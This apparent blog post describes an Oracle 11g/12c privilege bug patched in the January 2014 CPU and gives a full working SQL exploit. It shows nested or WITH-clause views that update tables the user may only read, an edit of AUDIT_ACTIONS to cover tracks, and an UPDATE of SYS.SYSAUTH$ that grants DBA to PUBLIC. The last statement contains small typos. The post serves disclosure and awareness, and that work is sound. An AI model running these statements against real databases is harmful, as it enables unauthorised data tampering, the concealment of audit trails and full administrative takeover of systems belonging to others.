Major Data Exploit Patched by January 2014’s CPU

Today, an Oracle security blog revealed a “monster bug” (actually, TWO of them) which allows a user to UPDATE data in a table in another schema that they only have the SELECT privilege to.

In case you’re wondering, the author did inform Oracle a year ago – and has sat on it since, so a huge amount of kudos to them! This is gratuitously stolen from that blog.

The user has to create a “simple” view based on the table and then a non-“simple” (such as an aggregated) view based on the first view to override the table’s object privileges.

By exploiting this bug, the user may be able to cover their tracks and to obtain DBA access.

This is known to exist in all “current” versions of the database (11g and 12c, not clear if it includes 9i or 10g). The bug has been fixed with the January 2014 (and onwards) CPU for 11g and 12c, but there is no fix for earlier versions (yet, if ever).

A working example can be seen after the break – DO NOT RUN THIS IN PRODUCTION!!!

In this example:

  • MARKUSER has CONNECT and CREATE TABLE system privileges
  • LUKEUSER has CONNECT and CREATE VIEW system privileges
  • JOHNUSER has CONNECT and SELECT ANY DICTIONARY system privileges

As the MARKUSER user:
CREATE markuser.marktab1 (mark_id VARCHAR2(20) NOT NULL);
INSERT INTO markuser.marktab1 (mark_id)
VALUES (‘Initial value’);
COMMIT;

Grant SELECT *ONLY* on the MARKTAB1 table to the LUKEUSER user:
GRANT select ON markuser.marktab1 TO lukeuser;

As the LUKEUSER user, create a view based on the MARKTAB1 table. The CREATE VIEW statement will succeed because of the CREATE VIEW system privilege:
CREATE VIEW lukeuser.marktab1_vw1 AS
SELECT *
FROM markuser.marktab1;

As the LUKEUSER user, try and update the view. This will fail as expected as LUKEUSER does not have the UPDATE object privilege on the underlying table:
UPDATE lukeuser.marktab1_vw1
SET mark_id = ‘FAIL1’;

As the LUKEUSER user, create a second, aggregated view based on the first:
CREATE VIEW lukeuser.marktab1_vw2 AS
SELECT MAX(mark_id)
FROM lukeuser.marktab1_vw1
GROUP BY mark_id;

As the LUKEUSER user, update the MARKTAB1_VW2 view. This will update the MARKUSER.MARKTAB1 table if it works:
UPDATE marktab1_vw2
SET mark_id = ‘FAIL2’;

Uh-oh. This worked! This query will return ‘FAIL2’:
SELECT *
FROM markuser.marktab1;

This indicates that if you create a basic view on a table and then an aggregate view on THAT view, you can override object privileges on the underlying table.

Not only that – we don’t even need an aggregated second view! This can’t be exposed by a second “basic”/”simple” view – it needs some elaboration to manifest itself.

For instance, we can also do it by hardcoding a value from the first row in the table:
CREATE VIEW marktab1_vw3 AS
SELECT *
FROM marktab1_vw1
WHERE 1 IN (
SELECT 1
FROM marktab1_vw1
WHERE ROWNUM = 1
);
UPDATE marktab1_vw3
SET mark_id = ‘FAIL3’;

This worked too! This query will return ‘FAIL3’:
SELECT * FROM markuser.marktab1;

And if the user DOESN’T have the CREATE VIEW system privilege?
UPDATE
(WITH x AS
(SELECT * FROM markuser.marktab1)
SELECT * FROM x)
tab1
SET mark_id = ‘FAIL4’;

Whoops. This query will return ‘FAIL4’:
SELECT *
FROM markuser.marktab1;

Not only can you update user tables, but what about the data dictionary? Yep, that too. As JOHNUSER:
UPDATE
(WITH x AS
(SELECT * FROM audit_actions)
SELECT * FROM x)
tab1
SET name = ‘FAIL5’;

This query will return ‘FAIL5’, indicating that someone with malicious intent could cover their tracks by altering their own AUDIT_ACTIONS entries:
SELECT name
FROM audit_actions;

Let’s say we want to cause absolute carnage…

Obviously, DO NOT RUN THIS IN PRODUCTION!!!

As the JOHNUSER, who has the SELECT ANY DICTIONARY system privilege, get the grantee#/user_id of the MARKDBA power user using the ALL_USERS view:
SELECT *
FROM sys.sysauth$
WHERE grantee# = (
SELECT user_id
FROM all_users
WHERE username = ‘MARKDBA’)
AND rownum = 1;

This returns grantee# = 221, privilege# = 261 and sequence# = 12506869

We could look up the PRIVILEGE# in SYS.SYSTEM_PRIVILEGE_MAP, but not all privileges are there, such as #4 (DBA) and we’re busy people, right?

Instead, we look up the MARKDBA user in the SYS.SYSAUTH$ table to ensure a tautology to expose the bug, then we give DBA access (privilege# = 4) to the PUBLIC (grantee# = 1) role:
UPDATE
(WITH x AS (
SELECT *
FROM sys.sysauth$
WHERE grantee# = 221
AND privilege# = -261
AND sequence# = 12506869
)
SELECT * FROM x) tab1
SET grantee# = 1, privilege = 4;

 

Advertisements
Tagged , ,

2 thoughts on “Major Data Exploit Patched by January 2014’s CPU

  1. Mark Smith says:

    Nice – though quite scary.

    I recently discovered that the bug I wrote about was only fixed by April 2014’s CPU – January’s CPU only patched part of the bug.

    And there’s no fix available for 9i/10g – if that’s not a good reason to get off those versions, nothing will be!

    Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: